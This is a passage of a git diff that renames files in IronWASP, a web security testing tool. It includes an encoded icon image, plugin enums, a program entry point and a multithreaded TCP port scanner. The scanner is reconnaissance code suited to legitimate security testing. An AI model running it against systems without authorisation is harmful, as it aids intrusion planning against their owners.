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 + + + \ No newline at end of file diff --git a/IronWASP/PluginEngine.cs b/Iron/PluginEngine.cs similarity index 100% rename from IronWASP/PluginEngine.cs rename to Iron/PluginEngine.cs diff --git a/IronWASP/PluginType.cs b/Iron/PluginType.cs similarity index 96% rename from IronWASP/PluginType.cs rename to Iron/PluginType.cs index 817bd1b..cba0109 100644 --- a/IronWASP/PluginType.cs +++ b/Iron/PluginType.cs @@ -1,33 +1,33 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public enum PluginType - { - Passive, - Active, - Format, - Session, - None - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public enum PluginType + { + Passive, + Active, + Format, + Session, + None + } +} diff --git a/IronWASP/PluginWorksOn.cs b/Iron/PluginWorksOn.cs similarity index 96% rename from IronWASP/PluginWorksOn.cs rename to Iron/PluginWorksOn.cs index 942c492..8f6d503 100644 --- a/IronWASP/PluginWorksOn.cs +++ b/Iron/PluginWorksOn.cs @@ -1,31 +1,31 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public enum PluginWorksOn - { - Request, - Response, - Both - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public enum PluginWorksOn + { + Request, + Response, + Both + } +} diff --git a/IronWASP/PortScanner.cs b/Iron/PortScanner.cs similarity index 97% rename from IronWASP/PortScanner.cs rename to Iron/PortScanner.cs index 79dc4e2..4a360d1 100644 --- a/IronWASP/PortScanner.cs +++ b/Iron/PortScanner.cs @@ -1,164 +1,164 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; -using System.Net.Sockets; -using System.Threading; - -namespace IronWASP -{ - public class PortScanner - { - List OpenPorts = new List(); - - string Target = ""; - List PortsToScan = new List(); - - int ConnectTimeOut = 1000; - - public PortScanner(string Target, string Ports) - { - this.Target = Target; - this.PortsToScan = this.ParsePortsToScanString(Ports); - this.ConnectTimeOut = 1000; - } - - public PortScanner(string Target, string Ports, int ConnectTimeOut) - { - this.Target = Target; - this.PortsToScan = this.ParsePortsToScanString(Ports); - this.ConnectTimeOut = ConnectTimeOut; - } - - public List Scan() - { - this.DoScan(); - return new List(this.OpenPorts); - } - - void DoScan() - { - int i = 0; - while (i < PortsToScan.Count) - { - int j = 0; - List ScanThreads = new List(); - while (j < 50 && i < PortsToScan.Count) - { - Thread T = new Thread(ScanPort); - T.Start(PortsToScan[i]); - ScanThreads.Add(T); - i++; - j++; - } - Thread.Sleep(this.ConnectTimeOut); - foreach (Thread T in ScanThreads) - { - try - { - T.Abort(); - } - catch { } - } - } - } - - void ScanPort(object PortNumObj) - { - int PortNum = (int)PortNumObj; - try - { - TcpClient TC = new TcpClient(); - try - { - TC.Connect(Target, PortNum); - lock (OpenPorts) - { - if(!OpenPorts.Contains(PortNum)) - OpenPorts.Add(PortNum); - } - TC.GetStream().Close(); - TC.Close(); - } - catch - {} - TC.Close(); - } - catch - {} - } - - public List ParsePortsToScanString(string Ports) - { - List PortNumbers = new List(); - List StringPortNumbers = new List(); - string[] PortNumStrings = Ports.Split(new char[]{','}, StringSplitOptions.RemoveEmptyEntries); - foreach (string PortNumString in PortNumStrings) - { - if (PortNumString.Contains("-")) - { - string[] StartAndEnd = PortNumString.Split(new char[] { '-' }, 2, StringSplitOptions.RemoveEmptyEntries); - if (StartAndEnd.Length == 2) - { - try - { - int Start = Int32.Parse(StartAndEnd[0]); - int End = Int32.Parse(StartAndEnd[1]); - if (Start < End && Start > 0 && End < 65536) - { - for (int i = Start; i <= End; i++) - { - PortNumbers.Add(i); - } - } - else - { - throw new Exception("Invalid Port Numbers"); - } - } - catch - { - throw new Exception("Invalid Port Numbers"); - } - } - else - { - throw new Exception("Invalid Port Numbers"); - } - } - else - { - try - { - int PortNum = Int32.Parse(PortNumString); - if(!PortNumbers.Contains(PortNum)) - PortNumbers.Add(PortNum); - } - catch { throw new Exception("Invalid Port Numbers"); } - } - } - if (PortNumbers.Count == 0) - { - throw new Exception("Invalid Port Numbers"); - } - return PortNumbers; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; +using System.Net.Sockets; +using System.Threading; + +namespace IronWASP +{ + public class PortScanner + { + List OpenPorts = new List(); + + string Target = ""; + List PortsToScan = new List(); + + int ConnectTimeOut = 1000; + + public PortScanner(string Target, string Ports) + { + this.Target = Target; + this.PortsToScan = this.ParsePortsToScanString(Ports); + this.ConnectTimeOut = 1000; + } + + public PortScanner(string Target, string Ports, int ConnectTimeOut) + { + this.Target = Target; + this.PortsToScan = this.ParsePortsToScanString(Ports); + this.ConnectTimeOut = ConnectTimeOut; + } + + public List Scan() + { + this.DoScan(); + return new List(this.OpenPorts); + } + + void DoScan() + { + int i = 0; + while (i < PortsToScan.Count) + { + int j = 0; + List ScanThreads = new List(); + while (j < 50 && i < PortsToScan.Count) + { + Thread T = new Thread(ScanPort); + T.Start(PortsToScan[i]); + ScanThreads.Add(T); + i++; + j++; + } + Thread.Sleep(this.ConnectTimeOut); + foreach (Thread T in ScanThreads) + { + try + { + T.Abort(); + } + catch { } + } + } + } + + void ScanPort(object PortNumObj) + { + int PortNum = (int)PortNumObj; + try + { + TcpClient TC = new TcpClient(); + try + { + TC.Connect(Target, PortNum); + lock (OpenPorts) + { + if(!OpenPorts.Contains(PortNum)) + OpenPorts.Add(PortNum); + } + TC.GetStream().Close(); + TC.Close(); + } + catch + {} + TC.Close(); + } + catch + {} + } + + public List ParsePortsToScanString(string Ports) + { + List PortNumbers = new List(); + List StringPortNumbers = new List(); + string[] PortNumStrings = Ports.Split(new char[]{','}, StringSplitOptions.RemoveEmptyEntries); + foreach (string PortNumString in PortNumStrings) + { + if (PortNumString.Contains("-")) + { + string[] StartAndEnd = PortNumString.Split(new char[] { '-' }, 2, StringSplitOptions.RemoveEmptyEntries); + if (StartAndEnd.Length == 2) + { + try + { + int Start = Int32.Parse(StartAndEnd[0]); + int End = Int32.Parse(StartAndEnd[1]); + if (Start < End && Start > 0 && End < 65536) + { + for (int i = Start; i <= End; i++) + { + PortNumbers.Add(i); + } + } + else + { + throw new Exception("Invalid Port Numbers"); + } + } + catch + { + throw new Exception("Invalid Port Numbers"); + } + } + else + { + throw new Exception("Invalid Port Numbers"); + } + } + else + { + try + { + int PortNum = Int32.Parse(PortNumString); + if(!PortNumbers.Contains(PortNum)) + PortNumbers.Add(PortNum); + } + catch { throw new Exception("Invalid Port Numbers"); } + } + } + if (PortNumbers.Count == 0) + { + throw new Exception("Invalid Port Numbers"); + } + return PortNumbers; + } + } +} diff --git a/IronWASP/Program.cs b/Iron/Program.cs similarity index 96% rename from IronWASP/Program.cs rename to Iron/Program.cs index 25ebafd..407fd8d 100644 --- a/IronWASP/Program.cs +++ b/Iron/Program.cs @@ -1,38 +1,38 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Windows.Forms; - -namespace IronWASP -{ - static class Program - { - /// - /// The main entry point for the application. - /// - [STAThread] - static void Main(string[] args) - { - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Application.Run(new Main()); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Windows.Forms; + +namespace IronWASP +{ + static class Program + { + /// + /// The main entry point for the application. + /// + [STAThread] + static void Main(string[] args) + { + 